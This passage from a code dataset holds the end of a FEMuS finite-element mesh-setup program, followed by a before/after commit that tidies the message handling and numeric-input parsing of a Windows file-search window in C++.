Petsc-MPI communicator\n  FemusInit mpinit(argc, args, MPI_COMM_WORLD);\n\n  \/\/ define multilevel mesh\n  MultiLevelMesh mlMsh;\n  double scalingFactor = 1.;\n  \/\/ read coarse level mesh and generate finers level meshes\n  mlMsh.ReadCoarseMesh(\".\/input\/square.neu\", \"seventh\", scalingFactor);\n  \/* \"seventh\" is the order of accuracy that is used in the gauss integration scheme\n      probably in the furure it is not going to be an argument of this function   *\/\n  unsigned numberOfUniformLevels = 3;\n  unsigned numberOfSelectiveLevels = 0;\n  mlMsh.RefineMesh(numberOfUniformLevels , numberOfUniformLevels + numberOfSelectiveLevels, NULL);\n  mlMsh.PrintInfo();\n\n  \/\/ define the multilevel solution and attach the mlMsh object to it\n  MultiLevelSolution mlSol(&mlMsh);\n\n  \/\/ add variables to mlSol\n  mlSol.AddSolution(\"Thom\", LAGRANGE, SECOND);\n  mlSol.AddSolution(\"ThomAdj\", LAGRANGE, SECOND);\n  mlSol.AddSolution(\"Tcont\", LAGRANGE, SECOND);\n\n  mlSol.Initialize(\"All\");    \/\/ initialize all varaibles to zero\n\n  mlSol.Initialize(\"Thom\", InitalValueU);\n  mlSol.Initialize(\"ThomAdj\", InitalValueP);\n  mlSol.Initialize(\"Tcont\", InitalValueT);    \/\/ note that this initialization is the same as piecewise constant element\n \n  \n  \/\/ print solutions\n  std::vector < std::string > variablesToBePrinted;\n  variablesToBePrinted.push_back(\"Thom\");\n  variablesToBePrinted.push_back(\"ThomAdj\");\n  variablesToBePrinted.push_back(\"Tcont\");\n\n  VTKWriter vtkIO(&mlSol);\n  vtkIO.write(DEFAULT_OUTPUTDIR, \"biquadratic\", variablesToBePrinted);\n\n  GMVWriter gmvIO(&mlSol);\n  variablesToBePrinted.push_back(\"all\");\n  gmvIO.SetDebugOutput(false);\n  gmvIO.write(DEFAULT_OUTPUTDIR, \"biquadratic\", variablesToBePrinted);\n\n  return 0;\n}<|endoftext|>"}
{"text":"<commit_before>#include \"PrecompiledHeader.h\"\n#include \"SearchEngine.h\"\n#include \"SearchWindow.h\"\n#include \"Utilities\/FontCache.h\"\n#include \"Utilities\/WindowUtilities.h\"\n\nstatic SearchWindow* s_Instance;\nstatic HINSTANCE GetHInstance();\n\nconstexpr DWORD kWindowExStyle = WS_EX_APPWINDOW | WS_EX_OVERLAPPEDWINDOW;\nconstexpr DWORD kWindowStyle = WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX | WS_CLIPCHILDREN | WS_CLIPSIBLINGS;\nconstexpr int kWindowClientWidth = 409;\nconstexpr int kWindowClientHeight = 639;\n\nconstexpr intptr_t kBackgroundColor = COLOR_WINDOW + 1;\n\nenum class ByteUnit : uint64_t\n{\n    B = 1,\n    KB = 1024 * B,\n    MB = 1024 * KB,\n    GB = 1024 * MB,\n    TB = 1024 * GB,\n};\n\nstruct NamedByteUnit\n{\n    constexpr NamedByteUnit(ByteUnit unit, const wchar_t* name) :\n        unit(unit), name(name)\n    {\n    }\n\n    ByteUnit unit;\n    const wchar_t* name;\n};\n\nconstexpr NamedByteUnit kByteUnits[] =\n{\n    { ByteUnit::B, L\"B\" },\n    { ByteUnit::KB, L\"KB\" },\n    { ByteUnit::MB, L\"MB\" },\n    { ByteUnit::GB, L\"GB\" },\n    { ByteUnit::TB, L\"TB\" },\n};\n\nSearchWindow::SearchWindow(const FontCache& fontCache, int nCmdShow) :\n    m_FontCache(fontCache)\n{\n    Assert(s_Instance == nullptr); \/\/ Current design dictates only one Search Window gets spawned per app instance\n    s_Instance = this;\n\n    WNDCLASSEXW classDescription = {};\n    classDescription.cbSize = sizeof(classDescription);\n    classDescription.style = CS_HREDRAW | CS_VREDRAW;\n    classDescription.lpfnWndProc = SearchWindow::WndProc;\n    classDescription.hInstance = GetHInstance();\n    classDescription.hCursor = LoadCursorW(nullptr, IDC_ARROW);\n    classDescription.hbrBackground = reinterpret_cast<HBRUSH>(kBackgroundColor);\n    classDescription.lpszClassName = L\"SearchWindow\";\n\n    m_WindowClass = RegisterClassExW(&classDescription);\n    Assert(m_WindowClass != 0);\n\n    auto hwnd = CreateWindowExW(kWindowExStyle, m_WindowClass, L\"File System Search - Search\", kWindowStyle, CW_USEDEFAULT, 0, 0, 0, nullptr, nullptr, GetHInstance(), nullptr);\n    Assert(m_Hwnd == hwnd);\n\n    auto wasVisible = ShowWindow(m_Hwnd, nCmdShow);\n    Assert(wasVisible == FALSE);\n}\n\nSearchWindow::~SearchWindow()\n{\n    Assert(s_Instance == this);\n    s_Instance = nullptr;\n}\n\nLRESULT SearchWindow::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)\n{\n    switch (msg)\n    {\n        case WM_CREATE:\n        {\n            s_Instance->OnCreate(hWnd);\n\n            auto createStruct = reinterpret_cast<CREATESTRUCT*>(lParam);\n            s_Instance->AdjustSearchWindowPlacement(createStruct->x, createStruct->y, GetDpiForWindow(hWnd));\n            return 0;\n        }\n\n        case WM_CLOSE:\n            PostQuitMessage(0);\n            break;\n\n        case WM_CTLCOLORSTATIC:\n            return kBackgroundColor;\n\n        case WM_DPICHANGED:\n        {\n            auto targetRect = reinterpret_cast<RECT*>(lParam);\n            s_Instance->AdjustSearchWindowPlacement(targetRect->left, targetRect->top, HIWORD(wParam));\n\n            return 0;\n        }\n\n        case WM_COMMAND:\n        {\n            switch (wParam)\n            {\n                case IDOK:\n                    s_Instance->SearchButtonClicked();\n                    break;\n\n                default:\n                {\n                    switch (LOWORD(wParam))\n                    {\n                        case m_SearchButton:\n                        {\n                            switch (HIWORD(wParam))\n                            {\n                                case BN_CLICKED:\n                                    s_Instance->SearchButtonClicked();\n                                    break;\n                            }\n\n                            break;\n                        }\n                    }\n\n                }\n            }\n\n            break;\n        }\n    }\n\n    return DefWindowProcW(hWnd, msg, wParam, lParam);\n}\n\n\nvoid SearchWindow::OnCreate(HWND hWnd)\n{\n    m_Hwnd = hWnd;\n\n    for (size_t i = 0; i < m_ControlCount; i++)\n        m_Controls[i] = kControls[i].Create(hWnd, i);\n    \n    \/\/ Restrict to numbers only\n    HWND ignoreFilesLargerThanTextBox = m_Controls[m_IgnoreFilesLargerThanTextBox];\n    SetWindowLongPtrW(ignoreFilesLargerThanTextBox, GWL_STYLE, GetWindowLongPtrW(ignoreFilesLargerThanTextBox, GWL_STYLE) | ES_NUMBER);\n\n    \/\/ Populate byteUnitComboBox\n    HWND byteUnitComboBox = m_Controls[m_IgnoreFilesLargerThanUnitComboBox];\n    for (size_t i = 0; i < ARRAYSIZE(kByteUnits); i++)\n    {\n        SendMessageW(byteUnitComboBox, CB_ADDSTRING, 0, reinterpret_cast<LPARAM>(kByteUnits[i].name));\n        SendMessageW(byteUnitComboBox, CB_SETITEMDATA, i, static_cast<LPARAM>(kByteUnits[i].unit));\n    }\n\n    \/\/ Select MB by default\n    SendMessageW(byteUnitComboBox, CB_SETCURSEL, 2 \/* MB *\/, 0);\n\n    \/\/ Enable default options\n    SendMessageW(m_Controls[m_SearchForFilesCheckBox], BM_SETCHECK, BST_CHECKED, 0);\n    SendMessageW(m_Controls[m_SearchInFileNameCheckBox], BM_SETCHECK, BST_CHECKED, 0);\n    SendMessageW(m_Controls[m_SearchRecursivelyCheckBox], BM_SETCHECK, BST_CHECKED, 0);\n    SendMessageW(m_Controls[m_IgnoreCaseCheckBox], BM_SETCHECK, BST_CHECKED, 0);\n    SendMessageW(m_Controls[m_IgnoreFilesStartingWithDotCheckBox], BM_SETCHECK, BST_CHECKED, 0);\n}\n\nvoid SearchWindow::AdjustSearchWindowPlacement(int positionX, int positionY, uint32_t dpi)\n{\n    RECT adjustedWindowRect =\n    {\n        0,\n        0,\n        DipsToPixels(kWindowClientWidth, dpi),\n        DipsToPixels(kWindowClientHeight, dpi),\n    };\n\n    auto result = AdjustWindowRectExForDpi(&adjustedWindowRect, kWindowStyle, FALSE, kWindowExStyle, dpi);\n    Assert(result != FALSE);\n\n    result = SetWindowPos(m_Hwnd, nullptr, positionX, positionY, adjustedWindowRect.right - adjustedWindowRect.left, adjustedWindowRect.bottom - adjustedWindowRect.top, SWP_NOACTIVATE | SWP_NOZORDER);\n    Assert(result != FALSE);\n\n    auto font = m_FontCache.GetFontForDpi(dpi);\n    for (size_t i = 0; i < m_ControlCount; i++)\n    {\n        HWND childHwnd = m_Controls[i];\n        Assert(childHwnd != nullptr);\n\n        const auto& desc = kControls[i];\n        auto x = DipsToPixels(desc.x, dpi);\n        auto y = DipsToPixels(desc.y, dpi);\n        auto width = DipsToPixels(desc.width, dpi);\n        auto height = DipsToPixels(desc.height, dpi);\n\n        result = SetWindowPos(childHwnd, nullptr, x, y, width, height, SWP_NOACTIVATE | SWP_NOZORDER);\n        Assert(result != FALSE);\n\n        SendMessageW(childHwnd, WM_SETFONT, reinterpret_cast<WPARAM>(font), TRUE);\n    }\n}\n\nvoid SearchWindow::SearchButtonClicked()\n{\n    std::wstring searchPath = GetWindowTextW(m_Controls[m_SearchPathTextBox]);\n    std::wstring searchPattern = GetWindowTextW(m_Controls[m_SearchPatternTextBox]);\n    std::wstring searchString = GetWindowTextW(m_Controls[m_SearchStringTextBox]);\n\n    std::wstring ignoreFilesLargerThan = GetWindowTextW(m_Controls[m_IgnoreFilesLargerThanTextBox]);\n    auto comboBoxIndex = SendMessageW(m_Controls[m_IgnoreFilesLargerThanUnitComboBox], CB_GETCURSEL, 0, 0);\n    ByteUnit ignoreFilesLargerThanUnit = static_cast<ByteUnit>(SendMessageW(m_Controls[m_IgnoreFilesLargerThanUnitComboBox], CB_GETITEMDATA, comboBoxIndex, 0));\n    Assert(ignoreFilesLargerThanUnit <= ByteUnit::TB);\n\n    bool searchForFiles = IsChecked(m_Controls[m_SearchForFilesCheckBox]);\n    bool searchInFilePath = IsChecked(m_Controls[m_SearchInFilePathCheckBox]);\n    bool searchInFileName = IsChecked(m_Controls[m_SearchInFileNameCheckBox]);\n    bool searchInFileContents = IsChecked(m_Controls[m_SearchInFileContentsCheckBox]);\n    bool searchContentsAsUtf8 = IsChecked(m_Controls[m_SearchFileContentsAsUTF8CheckBox]);\n    bool searchContentsAsUtf16 = IsChecked(m_Controls[m_SearchFileContentsAsUTF16CheckBox]);\n\n    bool searchForDirectories = IsChecked(m_Controls[m_SearchForDirectoriesCheckBox]);\n    bool searchInDirectoryPath = IsChecked(m_Controls[m_SearchInDirectoryPathCheckBox]);\n    bool searchInDirectoryName = IsChecked(m_Controls[m_SearchInDirectoryNameCheckBox]);\n\n    bool searchRecursively = IsChecked(m_Controls[m_SearchRecursivelyCheckBox]);\n    bool ignoreCase = IsChecked(m_Controls[m_IgnoreCaseCheckBox]);\n    bool ignoreFilesStartingWithDot = IsChecked(m_Controls[m_IgnoreFilesStartingWithDotCheckBox]);\n\n    bool useDirectStorage = IsChecked(m_Controls[m_UseDirectStorageCheckBox]);\n\n    if (!searchForFiles && !searchForDirectories)\n    {\n        DisplayValidationFailure(L\"Either 'Search for files', and\/or 'Search for directories' must be selected.\");\n        return;\n    }\n\n    if (searchForFiles && !searchInFilePath && !searchInFileName && !searchInFileContents)\n    {\n        DisplayValidationFailure(L\"At least one file search mode must be selected if searching for files.\");\n        return;\n    }\n\n    if (searchInFileContents && !searchContentsAsUtf8 && !searchContentsAsUtf16)\n    {\n        DisplayValidationFailure(L\"When searching file contents, UTF8 and\/or UTF16 search must be selected.\");\n        return;\n    }\n\n    if (searchForDirectories && !searchInDirectoryPath && !searchInDirectoryName)\n    {\n        DisplayValidationFailure(L\"At least one directory search mode must be selected if searching for directories.\");\n        return;\n    }\n\n    if (searchPath.empty())\n    {\n        DisplayValidationFailure(L\"Search path must not be empty.\");\n        return;\n    }\n\n    if (searchPattern.empty())\n    {\n        DisplayValidationFailure(L\"Search pattern must not be empty.\");\n        return;\n    }\n\n    if (searchString.empty())\n    {\n        DisplayValidationFailure(L\"Search string must not be empty.\");\n        return;\n    }\n\n    if (searchString.length() > 1 << 26)\n    {\n        if (searchString.length() > (1 << 30) || \n            WideCharToMultiByte(CP_UTF8, 0, searchString.c_str(), static_cast<int>(searchString.length()), nullptr, 0, nullptr, nullptr) > (1 << 30))\n        {\n            DisplayValidationFailure(L\"Search string is too long.\");\n            return;\n        }\n    }\n\n    if (searchInFileContents && searchContentsAsUtf8 && \n        std::find_if(searchString.begin(), searchString.end(), [](wchar_t c) { return c < 0 || c > 127; }) != searchString.end())\n    {\n        DisplayValidationFailure(L\"Searching for file contents as UTF8 with non-ascii string is not implemented.\");\n        return;\n    }\n\n    SearchFlags searchFlags = {};\n\n    if (searchForFiles)\n        searchFlags |= SearchFlags::kSearchForFiles;\n\n    if (searchInFileName)\n        searchFlags |= SearchFlags::kSearchInFileName;\n\n    if (searchInFilePath)\n        searchFlags |= SearchFlags::kSearchInFilePath;\n\n    if (searchInFileContents)\n        searchFlags |= SearchFlags::kSearchInFileContents;\n\n    if (searchContentsAsUtf8)\n        searchFlags |= SearchFlags::kSearchContentsAsUtf8;\n\n    if (searchContentsAsUtf16)\n        searchFlags |= SearchFlags::kSearchContentsAsUtf16;\n\n    if (searchForDirectories)\n        searchFlags |= SearchFlags::kSearchForDirectories;\n\n    if (searchInDirectoryPath)\n        searchFlags |= SearchFlags::kSearchInDirectoryPath;\n\n    if (searchInDirectoryName)\n        searchFlags |= SearchFlags::kSearchInDirectoryName;\n\n    if (searchRecursively)\n        searchFlags |= SearchFlags::kSearchRecursively;\n\n    if (ignoreCase)\n        searchFlags |= SearchFlags::kIgnoreCase;\n\n    if (ignoreFilesStartingWithDot)\n        searchFlags |= SearchFlags::kIgnoreDotStart;\n\n    if (useDirectStorage)\n        searchFlags |= SearchFlags::kUseDirectStorage;\n\n    uint64_t ignoreLargerThan = 0;\n    for (auto c : ignoreFilesLargerThan)\n    {\n        Assert(c >= '0' && c <= '9');\n        if (c < '0' || c > '9')\n        {\n            ignoreLargerThan = std::numeric_limits<uint64_t>::max();\n            break;\n        }\n\n        if (ignoreLargerThan > std::numeric_limits<uint64_t>::max() \/ 10)\n        {\n            ignoreLargerThan = std::numeric_limits<uint64_t>::max();\n            break;\n        }\n\n        ignoreLargerThan = ignoreLargerThan * 10;\n        auto digit = (c - '0');\n\n        if (ignoreLargerThan > std::numeric_limits<uint64_t>::max() - digit)\n        {\n            ignoreLargerThan = std::numeric_limits<uint64_t>::max();\n            break;\n        }\n\n        ignoreLargerThan += digit;\n    }\n\n    if (ignoreLargerThan > std::numeric_limits<uint64_t>::max() \/ static_cast<uint64_t>(ignoreFilesLargerThanUnit))\n    {\n        ignoreLargerThan = std::numeric_limits<uint64_t>::max();\n    }\n    else\n    {\n        ignoreLargerThan *= static_cast<uint64_t>(ignoreFilesLargerThanUnit);\n    }\n\n    auto search = ::Search(\n        [](const WIN32_FIND_DATAW* \/*findData*\/, const wchar_t* path) { std::wstring result = L\"Path found: '\"; result += path; result += L\"'\\r\\n\"; OutputDebugStringW(result.c_str()); },\n        [](const SearchStatistics& \/*searchStatistics*\/, double \/*progress*\/) {},\n        [](const SearchStatistics& \/*searchStatistics*\/) { OutputDebugStringW(L\"Search done!\\r\\n\"); },\n        [](const wchar_t* errorMessage) { MessageBoxW(nullptr, errorMessage, L\"Error\", MB_OK | MB_ICONERROR); },\n        searchPath.c_str(),\n        searchPattern.c_str(),\n        searchString.c_str(),\n        searchFlags,\n        ignoreLargerThan);\n\n    CleanupSearchOperation(search);\n}\n\nvoid SearchWindow::DisplayValidationFailure(const wchar_t* message)\n{\n    MessageBoxW(m_Hwnd, message, L\"Search is not possible\", MB_OK | MB_ICONERROR);\n}<commit_msg>Some code cleanup.<commit_after>#include \"PrecompiledHeader.h\"\n#include \"SearchEngine.h\"\n#include \"SearchWindow.h\"\n#include \"Utilities\/FontCache.h\"\n#include \"Utilities\/WindowUtilities.h\"\n\nstatic SearchWindow* s_Instance;\nstatic HINSTANCE GetHInstance();\n\nconstexpr DWORD kWindowExStyle = WS_EX_APPWINDOW | WS_EX_OVERLAPPEDWINDOW;\nconstexpr DWORD kWindowStyle = WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX | WS_CLIPCHILDREN | WS_CLIPSIBLINGS;\nconstexpr int kWindowClientWidth = 409;\nconstexpr int kWindowClientHeight = 639;\n\nconstexpr intptr_t kBackgroundColor = COLOR_WINDOW + 1;\n\nenum class ByteUnit : uint64_t\n{\n    B = 1,\n    KB = 1024 * B,\n    MB = 1024 * KB,\n    GB = 1024 * MB,\n    TB = 1024 * GB,\n};\n\nstruct NamedByteUnit\n{\n    constexpr NamedByteUnit(ByteUnit unit, const wchar_t* name) :\n        unit(unit), name(name)\n    {\n    }\n\n    ByteUnit unit;\n    const wchar_t* name;\n};\n\nconstexpr NamedByteUnit kByteUnits[] =\n{\n    { ByteUnit::B, L\"B\" },\n    { ByteUnit::KB, L\"KB\" },\n    { ByteUnit::MB, L\"MB\" },\n    { ByteUnit::GB, L\"GB\" },\n    { ByteUnit::TB, L\"TB\" },\n};\n\nSearchWindow::SearchWindow(const FontCache& fontCache, int nCmdShow) :\n    m_FontCache(fontCache)\n{\n    Assert(s_Instance == nullptr); \/\/ Current design dictates only one Search Window gets spawned per app instance\n    s_Instance = this;\n\n    WNDCLASSEXW classDescription = {};\n    classDescription.cbSize = sizeof(classDescription);\n    classDescription.style = CS_HREDRAW | CS_VREDRAW;\n    classDescription.lpfnWndProc = SearchWindow::WndProc;\n    classDescription.hInstance = GetHInstance();\n    classDescription.hCursor = LoadCursorW(nullptr, IDC_ARROW);\n    classDescription.hbrBackground = reinterpret_cast<HBRUSH>(kBackgroundColor);\n    classDescription.lpszClassName = L\"SearchWindow\";\n\n    m_WindowClass = RegisterClassExW(&classDescription);\n    Assert(m_WindowClass != 0);\n\n    auto hwnd = CreateWindowExW(kWindowExStyle, m_WindowClass, L\"File System Search - Search\", kWindowStyle, CW_USEDEFAULT, 0, 0, 0, nullptr, nullptr, GetHInstance(), nullptr);\n    Assert(m_Hwnd == hwnd);\n\n    auto wasVisible = ShowWindow(m_Hwnd, nCmdShow);\n    Assert(wasVisible == FALSE);\n}\n\nSearchWindow::~SearchWindow()\n{\n    Assert(s_Instance == this);\n    s_Instance = nullptr;\n}\n\nLRESULT SearchWindow::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)\n{\n    switch (msg)\n    {\n        case WM_CREATE:\n        {\n            s_Instance->OnCreate(hWnd);\n\n            auto createStruct = reinterpret_cast<CREATESTRUCT*>(lParam);\n            s_Instance->AdjustSearchWindowPlacement(createStruct->x, createStruct->y, GetDpiForWindow(hWnd));\n            return 0;\n        }\n\n        case WM_CLOSE:\n            PostQuitMessage(0);\n            break;\n\n        case WM_CTLCOLORSTATIC:\n            return kBackgroundColor;\n\n        case WM_DPICHANGED:\n        {\n            auto targetRect = reinterpret_cast<RECT*>(lParam);\n            s_Instance->AdjustSearchWindowPlacement(targetRect->left, targetRect->top, HIWORD(wParam));\n\n            return 0;\n        }\n\n        case WM_COMMAND:\n            if (wParam == IDOK || (LOWORD(wParam) == m_SearchButton && HIWORD(wParam) == BN_CLICKED))\n                s_Instance->SearchButtonClicked();\n            \n            break;\n    }\n\n    return DefWindowProcW(hWnd, msg, wParam, lParam);\n}\n\nvoid SearchWindow::OnCreate(HWND hWnd)\n{\n    m_Hwnd = hWnd;\n\n    for (size_t i = 0; i < m_ControlCount; i++)\n        m_Controls[i] = kControls[i].Create(hWnd, i);\n    \n    \/\/ Restrict to numbers only\n    HWND ignoreFilesLargerThanTextBox = m_Controls[m_IgnoreFilesLargerThanTextBox];\n    SetWindowLongPtrW(ignoreFilesLargerThanTextBox, GWL_STYLE, GetWindowLongPtrW(ignoreFilesLargerThanTextBox, GWL_STYLE) | ES_NUMBER);\n\n    \/\/ Populate byteUnitComboBox\n    HWND byteUnitComboBox = m_Controls[m_IgnoreFilesLargerThanUnitComboBox];\n    for (size_t i = 0; i < ARRAYSIZE(kByteUnits); i++)\n    {\n        SendMessageW(byteUnitComboBox, CB_ADDSTRING, 0, reinterpret_cast<LPARAM>(kByteUnits[i].name));\n        SendMessageW(byteUnitComboBox, CB_SETITEMDATA, i, static_cast<LPARAM>(kByteUnits[i].unit));\n    }\n\n    \/\/ Select MB by default\n    SendMessageW(byteUnitComboBox, CB_SETCURSEL, 2 \/* MB *\/, 0);\n\n    \/\/ Enable default options\n    SendMessageW(m_Controls[m_SearchForFilesCheckBox], BM_SETCHECK, BST_CHECKED, 0);\n    SendMessageW(m_Controls[m_SearchInFileNameCheckBox], BM_SETCHECK, BST_CHECKED, 0);\n    SendMessageW(m_Controls[m_SearchRecursivelyCheckBox], BM_SETCHECK, BST_CHECKED, 0);\n    SendMessageW(m_Controls[m_IgnoreCaseCheckBox], BM_SETCHECK, BST_CHECKED, 0);\n    SendMessageW(m_Controls[m_IgnoreFilesStartingWithDotCheckBox], BM_SETCHECK, BST_CHECKED, 0);\n}\n\nvoid SearchWindow::AdjustSearchWindowPlacement(int positionX, int positionY, uint32_t dpi)\n{\n    RECT adjustedWindowRect =\n    {\n        0,\n        0,\n        DipsToPixels(kWindowClientWidth, dpi),\n        DipsToPixels(kWindowClientHeight, dpi),\n    };\n\n    auto result = AdjustWindowRectExForDpi(&adjustedWindowRect, kWindowStyle, FALSE, kWindowExStyle, dpi);\n    Assert(result != FALSE);\n\n    result = SetWindowPos(m_Hwnd, nullptr, positionX, positionY, adjustedWindowRect.right - adjustedWindowRect.left, adjustedWindowRect.bottom - adjustedWindowRect.top, SWP_NOACTIVATE | SWP_NOZORDER);\n    Assert(result != FALSE);\n\n    auto font = m_FontCache.GetFontForDpi(dpi);\n    for (size_t i = 0; i < m_ControlCount; i++)\n    {\n        HWND childHwnd = m_Controls[i];\n        Assert(childHwnd != nullptr);\n\n        const auto& desc = kControls[i];\n        auto x = DipsToPixels(desc.x, dpi);\n        auto y = DipsToPixels(desc.y, dpi);\n        auto width = DipsToPixels(desc.width, dpi);\n        auto height = DipsToPixels(desc.height, dpi);\n\n        result = SetWindowPos(childHwnd, nullptr, x, y, width, height, SWP_NOACTIVATE | SWP_NOZORDER);\n        Assert(result != FALSE);\n\n        SendMessageW(childHwnd, WM_SETFONT, reinterpret_cast<WPARAM>(font), TRUE);\n    }\n}\n\nvoid SearchWindow::SearchButtonClicked()\n{\n    std::wstring searchPath = GetWindowTextW(m_Controls[m_SearchPathTextBox]);\n    std::wstring searchPattern = GetWindowTextW(m_Controls[m_SearchPatternTextBox]);\n    std::wstring searchString = GetWindowTextW(m_Controls[m_SearchStringTextBox]);\n\n    std::wstring ignoreFilesLargerThan = GetWindowTextW(m_Controls[m_IgnoreFilesLargerThanTextBox]);\n    auto comboBoxIndex = SendMessageW(m_Controls[m_IgnoreFilesLargerThanUnitComboBox], CB_GETCURSEL, 0, 0);\n    ByteUnit ignoreFilesLargerThanUnit = static_cast<ByteUnit>(SendMessageW(m_Controls[m_IgnoreFilesLargerThanUnitComboBox], CB_GETITEMDATA, comboBoxIndex, 0));\n    Assert(ignoreFilesLargerThanUnit <= ByteUnit::TB);\n\n    bool searchForFiles = IsChecked(m_Controls[m_SearchForFilesCheckBox]);\n    bool searchInFilePath = IsChecked(m_Controls[m_SearchInFilePathCheckBox]);\n    bool searchInFileName = IsChecked(m_Controls[m_SearchInFileNameCheckBox]);\n    bool searchInFileContents = IsChecked(m_Controls[m_SearchInFileContentsCheckBox]);\n    bool searchContentsAsUtf8 = IsChecked(m_Controls[m_SearchFileContentsAsUTF8CheckBox]);\n    bool searchContentsAsUtf16 = IsChecked(m_Controls[m_SearchFileContentsAsUTF16CheckBox]);\n\n    bool searchForDirectories = IsChecked(m_Controls[m_SearchForDirectoriesCheckBox]);\n    bool searchInDirectoryPath = IsChecked(m_Controls[m_SearchInDirectoryPathCheckBox]);\n    bool searchInDirectoryName = IsChecked(m_Controls[m_SearchInDirectoryNameCheckBox]);\n\n    bool searchRecursively = IsChecked(m_Controls[m_SearchRecursivelyCheckBox]);\n    bool ignoreCase = IsChecked(m_Controls[m_IgnoreCaseCheckBox]);\n    bool ignoreFilesStartingWithDot = IsChecked(m_Controls[m_IgnoreFilesStartingWithDotCheckBox]);\n\n    bool useDirectStorage = IsChecked(m_Controls[m_UseDirectStorageCheckBox]);\n\n    if (!searchForFiles && !searchForDirectories)\n    {\n        DisplayValidationFailure(L\"Either 'Search for files', and\/or 'Search for directories' must be selected.\");\n        return;\n    }\n\n    if (searchForFiles && !searchInFilePath && !searchInFileName && !searchInFileContents)\n    {\n        DisplayValidationFailure(L\"At least one file search mode must be selected if searching for files.\");\n        return;\n    }\n\n    if (searchInFileContents && !searchContentsAsUtf8 && !searchContentsAsUtf16)\n    {\n        DisplayValidationFailure(L\"When searching file contents, UTF8 and\/or UTF16 search must be selected.\");\n        return;\n    }\n\n    if (searchForDirectories && !searchInDirectoryPath && !searchInDirectoryName)\n    {\n        DisplayValidationFailure(L\"At least one directory search mode must be selected if searching for directories.\");\n        return;\n    }\n\n    if (searchPath.empty())\n    {\n        DisplayValidationFailure(L\"Search path must not be empty.\");\n        return;\n    }\n\n    if (searchPattern.empty())\n    {\n        DisplayValidationFailure(L\"Search pattern must not be empty.\");\n        return;\n    }\n\n    if (searchString.empty())\n    {\n        DisplayValidationFailure(L\"Search string must not be empty.\");\n        return;\n    }\n\n    if (searchString.length() > 1 << 26)\n    {\n        if (searchString.length() > (1 << 30) || \n            WideCharToMultiByte(CP_UTF8, 0, searchString.c_str(), static_cast<int>(searchString.length()), nullptr, 0, nullptr, nullptr) > (1 << 30))\n        {\n            DisplayValidationFailure(L\"Search string is too long.\");\n            return;\n        }\n    }\n\n    if (searchInFileContents && searchContentsAsUtf8 && \n        std::find_if(searchString.begin(), searchString.end(), [](wchar_t c) { return c < 0 || c > 127; }) != searchString.end())\n    {\n        DisplayValidationFailure(L\"Searching for file contents as UTF8 with non-ascii string is not implemented.\");\n        return;\n    }\n\n    SearchFlags searchFlags = {};\n\n    if (searchForFiles)\n        searchFlags |= SearchFlags::kSearchForFiles;\n\n    if (searchInFileName)\n        searchFlags |= SearchFlags::kSearchInFileName;\n\n    if (searchInFilePath)\n        searchFlags |= SearchFlags::kSearchInFilePath;\n\n    if (searchInFileContents)\n        searchFlags |= SearchFlags::kSearchInFileContents;\n\n    if (searchContentsAsUtf8)\n        searchFlags |= SearchFlags::kSearchContentsAsUtf8;\n\n    if (searchContentsAsUtf16)\n        searchFlags |= SearchFlags::kSearchContentsAsUtf16;\n\n    if (searchForDirectories)\n        searchFlags |= SearchFlags::kSearchForDirectories;\n\n    if (searchInDirectoryPath)\n        searchFlags |= SearchFlags::kSearchInDirectoryPath;\n\n    if (searchInDirectoryName)\n        searchFlags |= SearchFlags::kSearchInDirectoryName;\n\n    if (searchRecursively)\n        searchFlags |= SearchFlags::kSearchRecursively;\n\n    if (ignoreCase)\n        searchFlags |= SearchFlags::kIgnoreCase;\n\n    if (ignoreFilesStartingWithDot)\n        searchFlags |= SearchFlags::kIgnoreDotStart;\n\n    if (useDirectStorage)\n        searchFlags |= SearchFlags::kUseDirectStorage;\n\n    uint64_t ignoreLargerThan = 0;\n    for (auto c : ignoreFilesLargerThan)\n    {\n        Assert(c >= '0' && c <= '9');\n        if (c < '0' || c > '9' || ignoreLargerThan > std::numeric_limits<uint64_t>::max() \/ 10)\n        {\n            ignoreLargerThan = std::numeric_limits<uint64_t>::max();\n            break;\n        }\n\n        ignoreLargerThan = ignoreLargerThan * 10;\n        auto digit = c - '0';\n\n        if (ignoreLargerThan > std::numeric_limits<uint64_t>::max() - digit)\n        {\n            ignoreLargerThan = std::numeric_limits<uint64_t>::max();\n            break;\n        }\n\n        ignoreLargerThan += digit;\n    }\n\n    if (ignoreLargerThan > std::numeric_limits<uint64_t>::max() \/ static_cast<uint64_t>(ignoreFilesLargerThanUnit))\n    {\n        ignoreLargerThan = std::numeric_limits<uint64_t>::max();\n    }\n    else\n    {\n        ignoreLargerThan *= static_cast<uint64_t>(ignoreFilesLargerThanUnit);\n    }\n\n    auto search = ::Search(\n        [](const WIN32_FIND_DATAW* \/*findData*\/, const wchar_t* path) { std::wstring result = L\"Path found: '\"; result += path; result += L\"'\\r\\n\"; OutputDebugStringW(result.c_str()); },\n        [](const SearchStatistics& \/*searchStatistics*\/, double \/*progress*\/) {},\n        [](const SearchStatistics& \/*searchStatistics*\/) { OutputDebugStringW(L\"Search done!\\r\\n\"); },\n        [](const wchar_t* errorMessage) { MessageBoxW(nullptr, errorMessage, L\"Error\", MB_OK | MB_ICONERROR); },\n        searchPath.c_str(),\n        searchPattern.c_str(),\n        searchString.c_str(),\n        searchFlags,\n        ignoreLargerThan);\n\n    CleanupSearchOperation(search);\n}\n\nvoid SearchWindow::DisplayValidationFailure(const wchar_t* message)\n{\n    MessageBoxW(m_Hwnd, message, L\"Search is not possible\", MB_OK | MB_ICONERROR);\n}<|endoftext|>"}
